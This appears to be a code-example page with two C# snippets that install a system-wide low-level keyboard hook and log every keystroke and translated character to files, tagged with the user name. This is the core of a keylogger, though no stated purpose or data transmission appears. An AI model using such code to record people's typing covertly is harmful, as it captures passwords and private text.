Ejemplo n.º 1
0
 // keyboard hook procedure
 static IntPtr KbdHookProc(int code, WM wParam, [In] KBDLLHOOKSTRUCT lParam)
 {
     if (code >= 0)
     {
         Keys key    = (Keys)lParam.vkCode;
         bool active = (wParam == WM.KEYDOWN || wParam == WM.SYSKEYDOWN);
         keyLog.Write(active ? key + "+ " : key + "- ");
         txtLog.Write(KbdChar.Char(lParam.vkCode, active));
     }
     return(User32.CallNextHookEx(IntPtr.Zero, code, wParam, lParam));
 }
Ejemplo n.º 2
0
        public static void Init()
        {
            kydbHookProc = new LowLevelKeyboardProc(KbdHookProc);
            ProcessModule module = Process.GetCurrentProcess().MainModule;
            IntPtr        hMod   = Kernel32.GetModuleHandle(module.ModuleName);

            hHook = User32.SetWindowsHookEx(HookType.WH_KEYBOARD_LL, kydbHookProc, hMod, 0);
            headLog.Write("[" + user + "] ");
            headLog.Write(user + "-key ");
            headLog.Write(user + "-txt ");
            headLog.Flush();
            KbdChar.Init();
        }